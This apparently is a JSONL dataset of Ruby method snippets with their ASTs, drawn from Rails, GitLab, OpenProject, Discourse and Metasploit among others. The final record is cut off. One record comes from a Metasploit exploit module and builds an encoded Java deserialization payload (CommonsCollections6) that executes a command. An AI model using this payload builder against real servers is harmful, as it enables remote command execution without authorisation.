{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/reminders/base_contract.rb","start_line":65,"raw_source":"def validate_remind_at_present\n      errors.add :remind_at, :blank if model.remind_at.blank?\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_remind_at_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"remind_at\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"remind_at\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},null]}]}","id":"a3b2c726-0dc0-41d8-a507-83d8671d0021"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/costs/patches/permitted_params_patch.rb","start_line":54,"raw_source":"def cost_type\n      params.require(:cost_type).permit(:name,\n                                        :unit,\n                                        :unit_plural,\n                                        :default,\n                                        { new_rate_attributes: %i[valid_from rate] },\n                                        existing_rate_attributes: %i[valid_from rate])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cost_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"cost_type\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"sym\",\"children\":[\"unit_plural\"]},{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_rate_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid_from\"]},{\"type\":\"sym\",\"children\":[\"rate\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"existing_rate_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid_from\"]},{\"type\":\"sym\",\"children\":[\"rate\"]}]}]}]}]}]}","id":"0fcc0b4d-f1aa-41b7-a61b-6036c0ffa178"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/recurring_meetings/schedule_controller.rb","start_line":22,"raw_source":"def with_user_time_zone(&)\n      User.execute_as(User.current, &)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_user_time_zone\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"execute_as\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"58b3f158-025c-404f-8ca9-b9764d9e9bd4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":578,"raw_source":"def test_request_modified_with_record\n    @request.if_modified_since = \"Thu, 16 Jul 2008 00:00:00 GMT\"\n    get :conditional_hello_with_record\n    assert_equal 200, @response.status.to_i\n    assert_predicate @response.body, :present?\n    assert_equal @last_modified, @response.headers[\"Last-Modified\"]\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_request_modified_with_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"if_modified_since=\",{\"type\":\"str\",\"children\":[\"Thu, 16 Jul 2008 00:00:00 GMT\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"conditional_hello_with_record\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"status\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]},{\"type\":\"sym\",\"children\":[\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Last-Modified\"]}]}]}]}]}","id":"5133705a-a69a-4e16-ae9d-45bda4ac244d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journal.rb","start_line":208,"raw_source":"def has_cause?\n    cause_type.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_cause?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cause_type\"]},\"present?\"]}]}","id":"ab6d2df0-de73-4678-9d67-a24d39514646"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":547,"raw_source":"def test_should_create_singleton_resource_routes\n    with_singleton_resources :account do\n      assert_singleton_restful_for :account\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_create_singleton_resource_routes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_singleton_resources\",{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_singleton_restful_for\",{\"type\":\"sym\",\"children\":[\"account\"]}]}]}]}","id":"6aceedb3-7d18-4b60-bed9-682e479a99f1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller/callbacks.rb","start_line":100,"raw_source":"def _normalize_callback_option(options, from, to) # :nodoc:\n        if from_value = options.delete(from)\n          filters = options[:filters]\n          from_value = ActionFilter.new(filters, from, from_value)\n          options[to] = Array(options[to]).unshift(from_value)\n        end\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_normalize_callback_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"from_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"from_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionFilter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"filters\"]},{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"from_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"from_value\"]}]}]}]},null]}]}","id":"e347bfc4-174f-4058-be1f-bb2333a40932"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/client.rb","start_line":124,"raw_source":"def send_recv(req)\n          send_request(req)\n          res = recv_response\n\n          res\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_recv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"recv_response\"]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"c3bb6bd6-2ad5-4142-9eaa-88cc8e3834f8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/filter_record_transformer.rb","start_line":160,"raw_source":"def tag_prefix(tag_parts)\n      return [] if tag_parts.empty?\n      tag_prefix = [tag_parts.first]\n      1.upto(tag_parts.size-1).each do |i|\n        tag_prefix[i] = \"#{tag_prefix[i-1]}.#{tag_parts[i]}\"\n      end\n      tag_prefix\n    end","complexity_score":15.93,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_parts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tag_prefix\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_parts\"]},\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_parts\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_prefix\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_prefix\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_parts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"tag_prefix\"]}]}]}","id":"40909d1e-89f6-4fb9-8eba-9a6ea3cbeacb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/client.rb","start_line":355,"raw_source":"def smb_parse_create(pkt, data)\n\n    # Windows says 42, but Samba says 34, same structure :-/\n    if (pkt['Payload']['SMB'].v['WordCount'] == 42)\n      res = CONST::SMB_CREATE_RES_PKT.make_struct\n      res.from_s(data)\n      return res\n    end\n\n    if (pkt['Payload']['SMB'].v['WordCount'] == 34)\n      res = CONST::SMB_CREATE_RES_PKT.make_struct\n      res.from_s(data)\n      return res\n    end\n\n    # Process SMB error responses\n    if (pkt['Payload']['SMB'].v['WordCount'] == 0)\n      return pkt\n    end\n\n    raise XCEPT::InvalidWordCount\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"smb_parse_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WordCount\"]}]},\"==\",{\"type\":\"int\",\"children\":[42]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_CREATE_RES_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"from_s\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WordCount\"]}]},\"==\",{\"type\":\"int\",\"children\":[34]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_CREATE_RES_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"from_s\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WordCount\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XCEPT\"]},\"InvalidWordCount\"]}]}]}]}","id":"fe3681a0-fe1f-4f92-a3c3-662eee3967c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/protection/delete_rule_service.rb","start_line":17,"raw_source":"def execute\n        unless can?(current_user, :admin_package, package_protection_rule.project)\n          error_message = _('Unauthorized to delete a package protection rule')\n          return service_response_error(message: error_message)\n        end\n\n        deleted_package_protection_rule = package_protection_rule.destroy!\n\n        ServiceResponse.success(payload: { package_protection_rule: deleted_package_protection_rule })\n      rescue StandardError => e\n        service_response_error(message: e.message)\n      end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_protection_rule\"]},\"project\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unauthorized to delete a package protection rule\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_package_protection_rule\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_protection_rule\"]},\"destroy!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_protection_rule\"]},{\"type\":\"lvar\",\"children\":[\"deleted_package_protection_rule\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"a7fcb10d-01ee-4e7f-9687-5d24149a9ddd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":337,"raw_source":"def persist_object_store?\n      model.respond_to?(:\"#{store_serialization_column}=\")\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"persist_object_store?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"respond_to?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_serialization_column\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]}]}]}","id":"dd2930c7-15c7-4718-a361-ba1e241ec2d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/praefect_manager.rb","start_line":94,"raw_source":"def stop_node(name)\n        return if node_state(name) == 'paused'\n\n        shell \"docker pause #{name}\"\n\n        wait_until_node_is_removed_from_healthy_storages(name) if gitaly_nodes.include?(name)\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_state\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"paused\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker pause \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_nodes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_until_node_is_removed_from_healthy_storages\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]}]}]}","id":"60f008b0-611c-4d12-9783-125fd55dac16"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20130402210723_add_values_to_hot_topics.rb","start_line":4,"raw_source":"def change\n    add_column :hot_topics, :random_bias, :float\n    add_column :hot_topics, :random_multiplier, :float\n    add_column :hot_topics, :days_ago_bias, :float\n    add_column :hot_topics, :days_ago_multiplier, :float\n    add_column :hot_topics, :hot_topic_type, :integer\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"hot_topics\"]},{\"type\":\"sym\",\"children\":[\"random_bias\"]},{\"type\":\"sym\",\"children\":[\"float\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"hot_topics\"]},{\"type\":\"sym\",\"children\":[\"random_multiplier\"]},{\"type\":\"sym\",\"children\":[\"float\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"hot_topics\"]},{\"type\":\"sym\",\"children\":[\"days_ago_bias\"]},{\"type\":\"sym\",\"children\":[\"float\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"hot_topics\"]},{\"type\":\"sym\",\"children\":[\"days_ago_multiplier\"]},{\"type\":\"sym\",\"children\":[\"float\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"hot_topics\"]},{\"type\":\"sym\",\"children\":[\"hot_topic_type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}","id":"8ce640f4-0ff2-49d3-abea-361adfd5bf96"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/netmotion_mobility_mvcutil_deserialization.rb","start_line":177,"raw_source":"def go_go_gadget(cmd)\n    Rex::Text.encode_base64(\n      Rex::Text.gzip(\n        generate_java_deserialization_for_command(\n          'CommonsCollections6',\n          'cmd', # cmd.exe\n          cmd\n        )\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"go_go_gadget\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"gzip\",{\"type\":\"send\",\"children\":[null,\"generate_java_deserialization_for_command\",{\"type\":\"str\",\"children\":[\"CommonsCollections6\"]},{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}","id":"7dd55ada-8f1a-4685-8b9c-920efab00b97"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/statement_modifier.rb","start_line":77,"raw_source":"def first_line_comment(node)\n        comment = processed_source.comments.find { |c| same_line?(c, node) }\n        return unless comment\n\n        comment_source = comment.source\n        comment_source unless comment_disables_cop?(comment_source)\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"first_line_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comments\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"comment_source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_disables_cop?\",{\"type\":\"lvar\",\"children\":[\"comment_source\"]}]},null,{\"type\":\"lvar\",\"children\":[\"comment_source\"]}]}]}]}","id":"5b02c215-f513-4d1d-93fe-09f7a3072ccd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/channel.rb","start_line":132,"raw_source":"def membership_for(user)\n      if user_chat_channel_memberships.loaded?\n        user_chat_channel_memberships.detect { |m| m.user_id == user.id }\n      else\n        user_chat_channel_memberships.find_by(user: user)\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"membership_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_chat_channel_memberships\"]},\"loaded?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_chat_channel_memberships\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_chat_channel_memberships\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"cb514876-ad9c-4ac4-aa02-878340d189cc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb","start_line":165,"raw_source":"def enable_query_cache\n          cache = query_cache\n          old_enabled, cache.enabled, old_dirties, cache.dirties = cache.enabled, true, cache.dirties, true\n          begin\n            yield\n          ensure\n            cache.enabled, cache.dirties = old_enabled, old_dirties\n          end\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_query_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"send\",\"children\":[null,\"query_cache\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"enabled=\"]},{\"type\":\"lvasgn\",\"children\":[\"old_dirties\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"dirties=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"enabled\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"dirties\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"enabled=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"dirties=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_enabled\"]},{\"type\":\"lvar\",\"children\":[\"old_dirties\"]}]}]}]}]}]}]}","id":"1f588611-dc9c-4202-a2a1-9ded2dad7d36"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":505,"raw_source":"def test_one_level_with_types\n    xml = { name: \"David\", street: \"Paulina\", age: 26, age_in_millis: 820497600000, moved_on: Date.new(2005, 11, 15), resident: :yes }.to_xml(@xml_options)\n    assert_equal \"<person>\", xml.first(8)\n    assert_includes xml, %(<street>Paulina</street>)\n    assert_includes xml, %(<name>David</name>)\n    assert_includes xml, %(<age type=\"integer\">26</age>)\n    assert_includes xml, %(<age-in-millis type=\"integer\">820497600000</age-in-millis>)\n    assert_includes xml, %(<moved-on type=\"date\">2005-11-15</moved-on>)\n    assert_includes xml, %(<resident type=\"symbol\">yes</resident>)\n  